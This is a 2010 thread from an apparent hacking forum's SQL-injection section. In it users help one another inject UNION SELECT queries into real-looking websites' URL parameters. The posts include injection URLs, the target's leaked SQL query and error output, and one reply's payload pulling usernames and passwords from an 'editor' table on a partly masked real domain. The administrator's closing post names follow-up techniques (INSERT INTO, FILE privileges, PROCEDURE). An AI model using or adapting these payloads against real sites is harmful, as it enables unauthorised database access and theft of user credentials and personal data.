|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
A little help |
|
Posted: Wed Dec 08, 2010 2:26 pm |
|
|
Nial |
Advanced user |
|
|
Joined: Feb 29, 2008 |
Posts: 103 |
|
|
|
|
|
|
|
Hi
I have a mysql error with
Code: | http://www.site.com/rub.php?id_rub=8&id_depart=100+union+all+select+1,2--+ |
showing the full request :
Code: | SELECT pa_annonces.* , pa_annonces.cp AS cp_bien, UNIX_TIMESTAMP(pa_annonces.date) AS monchampdate, users.id AS id_user, users.pseudo, users.mail_user, users.cp AS cp_user, users.tel AS tel_user, users.fax, users.siret, users.site_web, users.texte_url_pa, pa_transactions.transaction, pa_transactions.color, pa_rubriques.rubrique, pa_marques.marque, pa_energies.energie, pa_cylindrees.cylindree, pa_immobilier.type, pa_situations.situation FROM pa_annonces LEFT JOIN users ON pa_annonces.id_user=users.id LEFT JOIN pa_transactions ON pa_annonces.id_transaction=pa_transactions.id LEFT JOIN pa_rubriques ON pa_annonces.id_rubrique=pa_rubriques.id LEFT JOIN pa_marques ON pa_annonces.id_marque=pa_marques.id LEFT JOIN pa_energies ON pa_annonces.id_energie=pa_energies.id LEFT JOIN pa_cylindrees ON pa_annonces.id_cylindree=pa_cylindrees.id LEFT JOIN pa_immobilier ON pa_annonces.id_immobilier=pa_immobilier.id LEFT JOIN pa_situations ON pa_annonces.id_situation=pa_situations.id WHERE pa_annonces.valide='1' AND pa_annonces.id_rubrique='8' ORDER BY pa_annonces.top DESC, pa_annonces.date DESC LIMIT 100 union all select 1,2-- ,20 |
with the error :
Code: | Incorrect usage of UNION and ORDER BY |
But i dont have a clue about how inserting my request after this Order BY and LIMIT...
If someone could help me, it would be great !
Thanks ! |
|
|
|
|
|
|
|
|
Posted: Wed Dec 08, 2010 2:36 pm |
|
|
pink_spider |
Advanced user |
|
|
Joined: Aug 28, 2010 |
Posts: 91 |
|
|
|
|
|
|
|
test:
Code: | http://www.site.com/rub.php?id_rub=8&id_depart=100+and+(1)=(union+(select+1,2))-- |
|
|
|
|
|
|
|
|
|
Posted: Wed Dec 08, 2010 2:58 pm |
|
|
Nial |
Advanced user |
|
|
Joined: Feb 29, 2008 |
Posts: 103 |
|
|
|
|
|
|
|
Thanks for your help but it doesnt work.
here is the sql log :
Code: | SELECT pa_annonces.* , pa_annonces.cp AS cp_bien, UNIX_TIMESTAMP(pa_annonces.date) AS monchampdate, users.id AS id_user, users.pseudo, users.mail_user, users.cp AS cp_user, users.tel AS tel_user, users.fax, users.siret, users.site_web, users.texte_url_pa, pa_transactions.transaction, pa_transactions.color, pa_rubriques.rubrique, pa_marques.marque, pa_energies.energie, pa_cylindrees.cylindree, pa_immobilier.type, pa_situations.situation FROM pa_annonces LEFT JOIN users ON pa_annonces.id_user=users.id LEFT JOIN pa_transactions ON pa_annonces.id_transaction=pa_transactions.id LEFT JOIN pa_rubriques ON pa_annonces.id_rubrique=pa_rubriques.id LEFT JOIN pa_marques ON pa_annonces.id_marque=pa_marques.id LEFT JOIN pa_energies ON pa_annonces.id_energie=pa_energies.id LEFT JOIN pa_cylindrees ON pa_annonces.id_cylindree=pa_cylindrees.id LEFT JOIN pa_immobilier ON pa_annonces.id_immobilier=pa_immobilier.id LEFT JOIN pa_situations ON pa_annonces.id_situation=pa_situations.id WHERE pa_annonces.valide='1' AND pa_annonces.id_rubrique='8' ORDER BY pa_annonces.top DESC, pa_annonces.date DESC LIMIT 100 and (1)=(union (select 1,2))--,20 |
and then, the error :
Code: | Syntax error near 'and (1)=(union (select 1,2))--,20' |
|
|
|
|
|
|
|
|
|
Posted: Fri Dec 10, 2010 3:58 am |
|
|
Despotic |
Active user |
|
|
Joined: Nov 17, 2010 |
Posts: 42 |
|
|
|
|
|
|
|
Are you sure there are only 2? (ie 1,2--) There may be more.
take a look at this. It might help.
Code: |
http://www.co-p**n.org/egug/rub.php?idr=7+and+1=2+union+all+select+1,2,3,concat(username,char(58),password),5,6,7,8,9+from+editor--&l=a |
and drop the "ALL" from your union select statement. |
|
|
|
|
Posted: Mon Dec 13, 2010 9:10 am |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
Sql injection after ORDER BY and LIMIT is not exploitable in most cases. INSERT INTO may be possible, if "magic_quotes_gpc=off" and FILE privileges are available. PROCEDURE may be useful in some rare cases. |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|